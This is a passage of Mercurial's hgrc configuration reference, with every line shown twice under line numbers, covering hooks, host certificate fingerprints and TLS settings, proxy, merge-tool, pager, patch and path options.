1420 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1420 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1421 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1421 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1422 value is in ``$HG_NEW``.
1422 value is in ``$HG_NEW``.
1423
1423
1424 ``tag``
1424 ``tag``
1425 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1425 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1426 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1426 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1427 the repository if ``$HG_LOCAL=0``.
1427 the repository if ``$HG_LOCAL=0``.
1428
1428
1429 ``update``
1429 ``update``
1430 Run after updating the working directory. The changeset ID of first
1430 Run after updating the working directory. The changeset ID of first
1431 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1431 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1432 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1432 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1433 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1433 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1434
1434
1435 .. note::
1435 .. note::
1436
1436
1437 It is generally better to use standard hooks rather than the
1437 It is generally better to use standard hooks rather than the
1438 generic pre- and post- command hooks, as they are guaranteed to be
1438 generic pre- and post- command hooks, as they are guaranteed to be
1439 called in the appropriate contexts for influencing transactions.
1439 called in the appropriate contexts for influencing transactions.
1440 Also, hooks like "commit" will be called in all contexts that
1440 Also, hooks like "commit" will be called in all contexts that
1441 generate a commit (e.g. tag) and not just the commit command.
1441 generate a commit (e.g. tag) and not just the commit command.
1442
1442
1443 .. note::
1443 .. note::
1444
1444
1445 Environment variables with empty values may not be passed to
1445 Environment variables with empty values may not be passed to
1446 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1446 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1447 will have an empty value under Unix-like platforms for non-merge
1447 will have an empty value under Unix-like platforms for non-merge
1448 changesets, while it will not be available at all under Windows.
1448 changesets, while it will not be available at all under Windows.
1449
1449
1450 The syntax for Python hooks is as follows::
1450 The syntax for Python hooks is as follows::
1451
1451
1452 hookname = python:modulename.submodule.callable
1452 hookname = python:modulename.submodule.callable
1453 hookname = python:/path/to/python/module.py:callable
1453 hookname = python:/path/to/python/module.py:callable
1454
1454
1455 Python hooks are run within the Mercurial process. Each hook is
1455 Python hooks are run within the Mercurial process. Each hook is
1456 called with at least three keyword arguments: a ui object (keyword
1456 called with at least three keyword arguments: a ui object (keyword
1457 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1457 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1458 keyword that tells what kind of hook is used. Arguments listed as
1458 keyword that tells what kind of hook is used. Arguments listed as
1459 environment variables above are passed as keyword arguments, with no
1459 environment variables above are passed as keyword arguments, with no
1460 ``HG_`` prefix, and names in lower case.
1460 ``HG_`` prefix, and names in lower case.
1461
1461
1462 If a Python hook returns a "true" value or raises an exception, this
1462 If a Python hook returns a "true" value or raises an exception, this
1463 is treated as a failure.
1463 is treated as a failure.
1464
1464
1465
1465
1466 ``hostfingerprints``
1466 ``hostfingerprints``
1467 --------------------
1467 --------------------
1468
1468
1469 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1469 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1470
1470
1471 Fingerprints of the certificates of known HTTPS servers.
1471 Fingerprints of the certificates of known HTTPS servers.
1472
1472
1473 A HTTPS connection to a server with a fingerprint configured here will
1473 A HTTPS connection to a server with a fingerprint configured here will
1474 only succeed if the servers certificate matches the fingerprint.
1474 only succeed if the servers certificate matches the fingerprint.
1475 This is very similar to how ssh known hosts works.
1475 This is very similar to how ssh known hosts works.
1476
1476
1477 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1477 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1478 Multiple values can be specified (separated by spaces or commas). This can
1478 Multiple values can be specified (separated by spaces or commas). This can
1479 be used to define both old and new fingerprints while a host transitions
1479 be used to define both old and new fingerprints while a host transitions
1480 to a new certificate.
1480 to a new certificate.
1481
1481
1482 The CA chain and web.cacerts is not used for servers with a fingerprint.
1482 The CA chain and web.cacerts is not used for servers with a fingerprint.
1483
1483
1484 For example::
1484 For example::
1485
1485
1486 [hostfingerprints]
1486 [hostfingerprints]
1487 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1487 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1488 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1488 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1489
1489
1490 ``hostsecurity``
1490 ``hostsecurity``
1491 ----------------
1491 ----------------
1492
1492
1493 Used to specify global and per-host security settings for connecting to
1493 Used to specify global and per-host security settings for connecting to
1494 other machines.
1494 other machines.
1495
1495
1496 The following options control default behavior for all hosts.
1496 The following options control default behavior for all hosts.
1497
1497
1498 ``ciphers``
1498 ``ciphers``
1499 Defines the cryptographic ciphers to use for connections.
1499 Defines the cryptographic ciphers to use for connections.
1500
1500
1501 Value must be a valid OpenSSL Cipher List Format as documented at
1501 Value must be a valid OpenSSL Cipher List Format as documented at
1502 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1502 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1503
1503
1504 This setting is for advanced users only. Setting to incorrect values
1504 This setting is for advanced users only. Setting to incorrect values
1505 can significantly lower connection security or decrease performance.
1505 can significantly lower connection security or decrease performance.
1506 You have been warned.
1506 You have been warned.
1507
1507
1508 This option requires Python 2.7.
1508 This option requires Python 2.7.
1509
1509
1510 ``minimumprotocol``
1510 ``minimumprotocol``
1511 Defines the minimum channel encryption protocol to use.
1511 Defines the minimum channel encryption protocol to use.
1512
1512
1513 By default, the highest version of TLS supported by both client and server
1513 By default, the highest version of TLS supported by both client and server
1514 is used.
1514 is used.
1515
1515
1516 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1516 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1517
1517
1518 When running on an old Python version, only ``tls1.0`` is allowed since
1518 When running on an old Python version, only ``tls1.0`` is allowed since
1519 old versions of Python only support up to TLS 1.0.
1519 old versions of Python only support up to TLS 1.0.
1520
1520
1521 When running a Python that supports modern TLS versions, the default is
1521 When running a Python that supports modern TLS versions, the default is
1522 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1522 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1523 weakens security and should only be used as a feature of last resort if
1523 weakens security and should only be used as a feature of last resort if
1524 a server does not support TLS 1.1+.
1524 a server does not support TLS 1.1+.
1525
1525
1526 Options in the ``[hostsecurity]`` section can have the form
1526 Options in the ``[hostsecurity]`` section can have the form
1527 ``hostname``:``setting``. This allows multiple settings to be defined on a
1527 ``hostname``:``setting``. This allows multiple settings to be defined on a
1528 per-host basis.
1528 per-host basis.
1529
1529
1530 The following per-host settings can be defined.
1530 The following per-host settings can be defined.
1531
1531
1532 ``ciphers``
1532 ``ciphers``
1533 This behaves like ``ciphers`` as described above except it only applies
1533 This behaves like ``ciphers`` as described above except it only applies
1534 to the host on which it is defined.
1534 to the host on which it is defined.
1535
1535
1536 ``fingerprints``
1536 ``fingerprints``
1537 A list of hashes of the DER encoded peer/remote certificate. Values have
1537 A list of hashes of the DER encoded peer/remote certificate. Values have
1538 the form ``algorithm``:``fingerprint``. e.g.
1538 the form ``algorithm``:``fingerprint``. e.g.
1539 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1539 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1540 In addition, colons (``:``) can appear in the fingerprint part.
1540 In addition, colons (``:``) can appear in the fingerprint part.
1541
1541
1542 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1542 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1543 ``sha512``.
1543 ``sha512``.
1544
1544
1545 Use of ``sha256`` or ``sha512`` is preferred.
1545 Use of ``sha256`` or ``sha512`` is preferred.
1546
1546
1547 If a fingerprint is specified, the CA chain is not validated for this
1547 If a fingerprint is specified, the CA chain is not validated for this
1548 host and Mercurial will require the remote certificate to match one
1548 host and Mercurial will require the remote certificate to match one
1549 of the fingerprints specified. This means if the server updates its
1549 of the fingerprints specified. This means if the server updates its
1550 certificate, Mercurial will abort until a new fingerprint is defined.
1550 certificate, Mercurial will abort until a new fingerprint is defined.
1551 This can provide stronger security than traditional CA-based validation
1551 This can provide stronger security than traditional CA-based validation
1552 at the expense of convenience.
1552 at the expense of convenience.
1553
1553
1554 This option takes precedence over ``verifycertsfile``.
1554 This option takes precedence over ``verifycertsfile``.
1555
1555
1556 ``minimumprotocol``
1556 ``minimumprotocol``
1557 This behaves like ``minimumprotocol`` as described above except it
1557 This behaves like ``minimumprotocol`` as described above except it
1558 only applies to the host on which it is defined.
1558 only applies to the host on which it is defined.
1559
1559
1560 ``verifycertsfile``
1560 ``verifycertsfile``
1561 Path to file a containing a list of PEM encoded certificates used to
1561 Path to file a containing a list of PEM encoded certificates used to
1562 verify the server certificate. Environment variables and ``~user``
1562 verify the server certificate. Environment variables and ``~user``
1563 constructs are expanded in the filename.
1563 constructs are expanded in the filename.
1564
1564
1565 The server certificate or the certificate's certificate authority (CA)
1565 The server certificate or the certificate's certificate authority (CA)
1566 must match a certificate from this file or certificate verification
1566 must match a certificate from this file or certificate verification
1567 will fail and connections to the server will be refused.
1567 will fail and connections to the server will be refused.
1568
1568
1569 If defined, only certificates provided by this file will be used:
1569 If defined, only certificates provided by this file will be used:
1570 ``web.cacerts`` and any system/default certificates will not be
1570 ``web.cacerts`` and any system/default certificates will not be
1571 used.
1571 used.
1572
1572
1573 This option has no effect if the per-host ``fingerprints`` option
1573 This option has no effect if the per-host ``fingerprints`` option
1574 is set.
1574 is set.
1575
1575
1576 The format of the file is as follows::
1576 The format of the file is as follows::
1577
1577
1578 -----BEGIN CERTIFICATE-----
1578 -----BEGIN CERTIFICATE-----
1579 ... (certificate in base64 PEM encoding) ...
1579 ... (certificate in base64 PEM encoding) ...
1580 -----END CERTIFICATE-----
1580 -----END CERTIFICATE-----
1581 -----BEGIN CERTIFICATE-----
1581 -----BEGIN CERTIFICATE-----
1582 ... (certificate in base64 PEM encoding) ...
1582 ... (certificate in base64 PEM encoding) ...
1583 -----END CERTIFICATE-----
1583 -----END CERTIFICATE-----
1584
1584
1585 For example::
1585 For example::
1586
1586
1587 [hostsecurity]
1587 [hostsecurity]
1588 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1588 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1589 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1589 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1590 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1590 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1591 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1591 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1592
1592
1593 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1593 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1594 when connecting to ``hg.example.com``::
1594 when connecting to ``hg.example.com``::
1595
1595
1596 [hostsecurity]
1596 [hostsecurity]
1597 minimumprotocol = tls1.2
1597 minimumprotocol = tls1.2
1598 hg.example.com:minimumprotocol = tls1.1
1598 hg.example.com:minimumprotocol = tls1.1
1599
1599
1600 ``http_proxy``
1600 ``http_proxy``
1601 --------------
1601 --------------
1602
1602
1603 Used to access web-based Mercurial repositories through a HTTP
1603 Used to access web-based Mercurial repositories through a HTTP
1604 proxy.
1604 proxy.
1605
1605
1606 ``host``
1606 ``host``
1607 Host name and (optional) port of the proxy server, for example
1607 Host name and (optional) port of the proxy server, for example
1608 "myproxy:8000".
1608 "myproxy:8000".
1609
1609
1610 ``no``
1610 ``no``
1611 Optional. Comma-separated list of host names that should bypass
1611 Optional. Comma-separated list of host names that should bypass
1612 the proxy.
1612 the proxy.
1613
1613
1614 ``passwd``
1614 ``passwd``
1615 Optional. Password to authenticate with at the proxy server.
1615 Optional. Password to authenticate with at the proxy server.
1616
1616
1617 ``user``
1617 ``user``
1618 Optional. User name to authenticate with at the proxy server.
1618 Optional. User name to authenticate with at the proxy server.
1619
1619
1620 ``always``
1620 ``always``
1621 Optional. Always use the proxy, even for localhost and any entries
1621 Optional. Always use the proxy, even for localhost and any entries
1622 in ``http_proxy.no``. (default: False)
1622 in ``http_proxy.no``. (default: False)
1623
1623
1624 ``http``
1624 ``http``
1625 ----------
1625 ----------
1626
1626
1627 Used to configure access to Mercurial repositories via HTTP.
1627 Used to configure access to Mercurial repositories via HTTP.
1628
1628
1629 ``timeout``
1629 ``timeout``
1630 If set, blocking operations will timeout after that many seconds.
1630 If set, blocking operations will timeout after that many seconds.
1631 (default: None)
1631 (default: None)
1632
1632
1633 ``merge``
1633 ``merge``
1634 ---------
1634 ---------
1635
1635
1636 This section specifies behavior during merges and updates.
1636 This section specifies behavior during merges and updates.
1637
1637
1638 ``checkignored``
1638 ``checkignored``
1639 Controls behavior when an ignored file on disk has the same name as a tracked
1639 Controls behavior when an ignored file on disk has the same name as a tracked
1640 file in the changeset being merged or updated to, and has different
1640 file in the changeset being merged or updated to, and has different
1641 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1641 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1642 abort on such files. With ``warn``, warn on such files and back them up as
1642 abort on such files. With ``warn``, warn on such files and back them up as
1643 ``.orig``. With ``ignore``, don't print a warning and back them up as
1643 ``.orig``. With ``ignore``, don't print a warning and back them up as
1644 ``.orig``. (default: ``abort``)
1644 ``.orig``. (default: ``abort``)
1645
1645
1646 ``checkunknown``
1646 ``checkunknown``
1647 Controls behavior when an unknown file that isn't ignored has the same name
1647 Controls behavior when an unknown file that isn't ignored has the same name
1648 as a tracked file in the changeset being merged or updated to, and has
1648 as a tracked file in the changeset being merged or updated to, and has
1649 different contents. Similar to ``merge.checkignored``, except for files that
1649 different contents. Similar to ``merge.checkignored``, except for files that
1650 are not ignored. (default: ``abort``)
1650 are not ignored. (default: ``abort``)
1651
1651
1652 ``on-failure``
1652 ``on-failure``
1653 When set to ``continue`` (the default), the merge process attempts to
1653 When set to ``continue`` (the default), the merge process attempts to
1654 merge all unresolved files using the merge chosen tool, regardless of
1654 merge all unresolved files using the merge chosen tool, regardless of
1655 whether previous file merge attempts during the process succeeded or not.
1655 whether previous file merge attempts during the process succeeded or not.
1656 Setting this to ``prompt`` will prompt after any merge failure continue
1656 Setting this to ``prompt`` will prompt after any merge failure continue
1657 or halt the merge process. Setting this to ``halt`` will automatically
1657 or halt the merge process. Setting this to ``halt`` will automatically
1658 halt the merge process on any merge tool failure. The merge process
1658 halt the merge process on any merge tool failure. The merge process
1659 can be restarted by using the ``resolve`` command. When a merge is
1659 can be restarted by using the ``resolve`` command. When a merge is
1660 halted, the repository is left in a normal ``unresolved`` merge state.
1660 halted, the repository is left in a normal ``unresolved`` merge state.
1661 (default: ``continue``)
1661 (default: ``continue``)
1662
1662
1663 ``strict-capability-check``
1663 ``strict-capability-check``
1664 Whether capabilities of internal merge tools are checked strictly
1664 Whether capabilities of internal merge tools are checked strictly
1665 or not, while examining rules to decide merge tool to be used.
1665 or not, while examining rules to decide merge tool to be used.
1666 (default: False)
1666 (default: False)
1667
1667
1668 ``merge-patterns``
1668 ``merge-patterns``
1669 ------------------
1669 ------------------
1670
1670
1671 This section specifies merge tools to associate with particular file
1671 This section specifies merge tools to associate with particular file
1672 patterns. Tools matched here will take precedence over the default
1672 patterns. Tools matched here will take precedence over the default
1673 merge tool. Patterns are globs by default, rooted at the repository
1673 merge tool. Patterns are globs by default, rooted at the repository
1674 root.
1674 root.
1675
1675
1676 Example::
1676 Example::
1677
1677
1678 [merge-patterns]
1678 [merge-patterns]
1679 **.c = kdiff3
1679 **.c = kdiff3
1680 **.jpg = myimgmerge
1680 **.jpg = myimgmerge
1681
1681
1682 ``merge-tools``
1682 ``merge-tools``
1683 ---------------
1683 ---------------
1684
1684
1685 This section configures external merge tools to use for file-level
1685 This section configures external merge tools to use for file-level
1686 merges. This section has likely been preconfigured at install time.
1686 merges. This section has likely been preconfigured at install time.
1687 Use :hg:`config merge-tools` to check the existing configuration.
1687 Use :hg:`config merge-tools` to check the existing configuration.
1688 Also see :hg:`help merge-tools` for more details.
1688 Also see :hg:`help merge-tools` for more details.
1689
1689
1690 Example ``~/.hgrc``::
1690 Example ``~/.hgrc``::
1691
1691
1692 [merge-tools]
1692 [merge-tools]
1693 # Override stock tool location
1693 # Override stock tool location
1694 kdiff3.executable = ~/bin/kdiff3
1694 kdiff3.executable = ~/bin/kdiff3
1695 # Specify command line
1695 # Specify command line
1696 kdiff3.args = $base $local $other -o $output
1696 kdiff3.args = $base $local $other -o $output
1697 # Give higher priority
1697 # Give higher priority
1698 kdiff3.priority = 1
1698 kdiff3.priority = 1
1699
1699
1700 # Changing the priority of preconfigured tool
1700 # Changing the priority of preconfigured tool
1701 meld.priority = 0
1701 meld.priority = 0
1702
1702
1703 # Disable a preconfigured tool
1703 # Disable a preconfigured tool
1704 vimdiff.disabled = yes
1704 vimdiff.disabled = yes
1705
1705
1706 # Define new tool
1706 # Define new tool
1707 myHtmlTool.args = -m $local $other $base $output
1707 myHtmlTool.args = -m $local $other $base $output
1708 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1708 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1709 myHtmlTool.priority = 1
1709 myHtmlTool.priority = 1
1710
1710
1711 Supported arguments:
1711 Supported arguments:
1712
1712
1713 ``priority``
1713 ``priority``
1714 The priority in which to evaluate this tool.
1714 The priority in which to evaluate this tool.
1715 (default: 0)
1715 (default: 0)
1716
1716
1717 ``executable``
1717 ``executable``
1718 Either just the name of the executable or its pathname.
1718 Either just the name of the executable or its pathname.
1719
1719
1720 .. container:: windows
1720 .. container:: windows
1721
1721
1722 On Windows, the path can use environment variables with ${ProgramFiles}
1722 On Windows, the path can use environment variables with ${ProgramFiles}
1723 syntax.
1723 syntax.
1724
1724
1725 (default: the tool name)
1725 (default: the tool name)
1726
1726
1727 ``args``
1727 ``args``
1728 The arguments to pass to the tool executable. You can refer to the
1728 The arguments to pass to the tool executable. You can refer to the
1729 files being merged as well as the output file through these
1729 files being merged as well as the output file through these
1730 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1730 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1731
1731
1732 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1732 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1733 being performed. During an update or merge, ``$local`` represents the original
1733 being performed. During an update or merge, ``$local`` represents the original
1734 state of the file, while ``$other`` represents the commit you are updating to or
1734 state of the file, while ``$other`` represents the commit you are updating to or
1735 the commit you are merging with. During a rebase, ``$local`` represents the
1735 the commit you are merging with. During a rebase, ``$local`` represents the
1736 destination of the rebase, and ``$other`` represents the commit being rebased.
1736 destination of the rebase, and ``$other`` represents the commit being rebased.
1737
1737
1738 Some operations define custom labels to assist with identifying the revisions,
1738 Some operations define custom labels to assist with identifying the revisions,
1739 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1739 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1740 labels are not available, these will be ``local``, ``other``, and ``base``,
1740 labels are not available, these will be ``local``, ``other``, and ``base``,
1741 respectively.
1741 respectively.
1742 (default: ``$local $base $other``)
1742 (default: ``$local $base $other``)
1743
1743
1744 ``premerge``
1744 ``premerge``
1745 Attempt to run internal non-interactive 3-way merge tool before
1745 Attempt to run internal non-interactive 3-way merge tool before
1746 launching external tool. Options are ``true``, ``false``, ``keep``,
1746 launching external tool. Options are ``true``, ``false``, ``keep``,
1747 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1747 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1748 will leave markers in the file if the premerge fails. The ``keep-merge3``
1748 will leave markers in the file if the premerge fails. The ``keep-merge3``
1749 will do the same but include information about the base of the merge in the
1749 will do the same but include information about the base of the merge in the
1750 marker (see internal :merge3 in :hg:`help merge-tools`). The
1750 marker (see internal :merge3 in :hg:`help merge-tools`). The
1751 ``keep-mergediff`` option is similar but uses a different marker style
1751 ``keep-mergediff`` option is similar but uses a different marker style
1752 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1752 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1753
1753
1754 ``binary``
1754 ``binary``
1755 This tool can merge binary files. (default: False, unless tool
1755 This tool can merge binary files. (default: False, unless tool
1756 was selected by file pattern match)
1756 was selected by file pattern match)
1757
1757
1758 ``symlink``
1758 ``symlink``
1759 This tool can merge symlinks. (default: False)
1759 This tool can merge symlinks. (default: False)
1760
1760
1761 ``check``
1761 ``check``
1762 A list of merge success-checking options:
1762 A list of merge success-checking options:
1763
1763
1764 ``changed``
1764 ``changed``
1765 Ask whether merge was successful when the merged file shows no changes.
1765 Ask whether merge was successful when the merged file shows no changes.
1766 ``conflicts``
1766 ``conflicts``
1767 Check whether there are conflicts even though the tool reported success.
1767 Check whether there are conflicts even though the tool reported success.
1768 ``prompt``
1768 ``prompt``
1769 Always prompt for merge success, regardless of success reported by tool.
1769 Always prompt for merge success, regardless of success reported by tool.
1770
1770
1771 ``fixeol``
1771 ``fixeol``
1772 Attempt to fix up EOL changes caused by the merge tool.
1772 Attempt to fix up EOL changes caused by the merge tool.
1773 (default: False)
1773 (default: False)
1774
1774
1775 ``gui``
1775 ``gui``
1776 This tool requires a graphical interface to run. (default: False)
1776 This tool requires a graphical interface to run. (default: False)
1777
1777
1778 ``mergemarkers``
1778 ``mergemarkers``
1779 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1779 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1780 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1780 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1781 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1781 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1782 markers generated during premerge will be ``detailed`` if either this option or
1782 markers generated during premerge will be ``detailed`` if either this option or
1783 the corresponding option in the ``[ui]`` section is ``detailed``.
1783 the corresponding option in the ``[ui]`` section is ``detailed``.
1784 (default: ``basic``)
1784 (default: ``basic``)
1785
1785
1786 ``mergemarkertemplate``
1786 ``mergemarkertemplate``
1787 This setting can be used to override ``mergemarker`` from the
1787 This setting can be used to override ``mergemarker`` from the
1788 ``[command-templates]`` section on a per-tool basis; this applies to the
1788 ``[command-templates]`` section on a per-tool basis; this applies to the
1789 ``$label``-prefixed variables and to the conflict markers that are generated
1789 ``$label``-prefixed variables and to the conflict markers that are generated
1790 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1790 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1791 in ``[ui]`` for more information.
1791 in ``[ui]`` for more information.
1792
1792
1793 .. container:: windows
1793 .. container:: windows
1794
1794
1795 ``regkey``
1795 ``regkey``
1796 Windows registry key which describes install location of this
1796 Windows registry key which describes install location of this
1797 tool. Mercurial will search for this key first under
1797 tool. Mercurial will search for this key first under
1798 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1798 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1799 (default: None)
1799 (default: None)
1800
1800
1801 ``regkeyalt``
1801 ``regkeyalt``
1802 An alternate Windows registry key to try if the first key is not
1802 An alternate Windows registry key to try if the first key is not
1803 found. The alternate key uses the same ``regname`` and ``regappend``
1803 found. The alternate key uses the same ``regname`` and ``regappend``
1804 semantics of the primary key. The most common use for this key
1804 semantics of the primary key. The most common use for this key
1805 is to search for 32bit applications on 64bit operating systems.
1805 is to search for 32bit applications on 64bit operating systems.
1806 (default: None)
1806 (default: None)
1807
1807
1808 ``regname``
1808 ``regname``
1809 Name of value to read from specified registry key.
1809 Name of value to read from specified registry key.
1810 (default: the unnamed (default) value)
1810 (default: the unnamed (default) value)
1811
1811
1812 ``regappend``
1812 ``regappend``
1813 String to append to the value read from the registry, typically
1813 String to append to the value read from the registry, typically
1814 the executable name of the tool.
1814 the executable name of the tool.
1815 (default: None)
1815 (default: None)
1816
1816
1817 ``pager``
1817 ``pager``
1818 ---------
1818 ---------
1819
1819
1820 Setting used to control when to paginate and with what external tool. See
1820 Setting used to control when to paginate and with what external tool. See
1821 :hg:`help pager` for details.
1821 :hg:`help pager` for details.
1822
1822
1823 ``pager``
1823 ``pager``
1824 Define the external tool used as pager.
1824 Define the external tool used as pager.
1825
1825
1826 If no pager is set, Mercurial uses the environment variable $PAGER.
1826 If no pager is set, Mercurial uses the environment variable $PAGER.
1827 If neither pager.pager, nor $PAGER is set, a default pager will be
1827 If neither pager.pager, nor $PAGER is set, a default pager will be
1828 used, typically `less` on Unix and `more` on Windows. Example::
1828 used, typically `less` on Unix and `more` on Windows. Example::
1829
1829
1830 [pager]
1830 [pager]
1831 pager = less -FRX
1831 pager = less -FRX
1832
1832
1833 ``ignore``
1833 ``ignore``
1834 List of commands to disable the pager for. Example::
1834 List of commands to disable the pager for. Example::
1835
1835
1836 [pager]
1836 [pager]
1837 ignore = version, help, update
1837 ignore = version, help, update
1838
1838
1839 ``patch``
1839 ``patch``
1840 ---------
1840 ---------
1841
1841
1842 Settings used when applying patches, for instance through the 'import'
1842 Settings used when applying patches, for instance through the 'import'
1843 command or with Mercurial Queues extension.
1843 command or with Mercurial Queues extension.
1844
1844
1845 ``eol``
1845 ``eol``
1846 When set to 'strict' patch content and patched files end of lines
1846 When set to 'strict' patch content and patched files end of lines
1847 are preserved. When set to ``lf`` or ``crlf``, both files end of
1847 are preserved. When set to ``lf`` or ``crlf``, both files end of
1848 lines are ignored when patching and the result line endings are
1848 lines are ignored when patching and the result line endings are
1849 normalized to either LF (Unix) or CRLF (Windows). When set to
1849 normalized to either LF (Unix) or CRLF (Windows). When set to
1850 ``auto``, end of lines are again ignored while patching but line
1850 ``auto``, end of lines are again ignored while patching but line
1851 endings in patched files are normalized to their original setting
1851 endings in patched files are normalized to their original setting
1852 on a per-file basis. If target file does not exist or has no end
1852 on a per-file basis. If target file does not exist or has no end
1853 of line, patch line endings are preserved.
1853 of line, patch line endings are preserved.
1854 (default: strict)
1854 (default: strict)
1855
1855
1856 ``fuzz``
1856 ``fuzz``
1857 The number of lines of 'fuzz' to allow when applying patches. This
1857 The number of lines of 'fuzz' to allow when applying patches. This
1858 controls how much context the patcher is allowed to ignore when
1858 controls how much context the patcher is allowed to ignore when
1859 trying to apply a patch.
1859 trying to apply a patch.
1860 (default: 2)
1860 (default: 2)
1861
1861
1862 ``paths``
1862 ``paths``
1863 ---------
1863 ---------
1864
1864
1865 Assigns symbolic names and behavior to repositories.
1865 Assigns symbolic names and behavior to repositories.
1866
1866
1867 Options are symbolic names defining the URL or directory that is the
1867 Options are symbolic names defining the URL or directory that is the
1868 location of the repository. Example::
1868 location of the repository. Example::
1869
1869
1870 [paths]
1870 [paths]
1871 my_server = https://example.com/my_repo
1871 my_server = https://example.com/my_repo
1872 local_path = /home/me/repo
1872 local_path = /home/me/repo
1873
1873
1874 These symbolic names can be used from the command line. To pull
1874 These symbolic names can be used from the command line. To pull
1875 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1875 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1876 :hg:`push local_path`. You can check :hg:`help urls` for details about
1876 :hg:`push local_path`. You can check :hg:`help urls` for details about
1877 valid URLs.
1877 valid URLs.
1878
1878
1879 Options containing colons (``:``) denote sub-options that can influence
1879 Options containing colons (``:``) denote sub-options that can influence
1880 behavior for that specific path. Example::
1880 behavior for that specific path. Example::
1881
1881
1882 [paths]
1882 [paths]
1883 my_server = https://example.com/my_path
1883 my_server = https://example.com/my_path
1884 my_server:pushurl = ssh://example.com/my_path
1884 my_server:pushurl = ssh://example.com/my_path
1885
1885
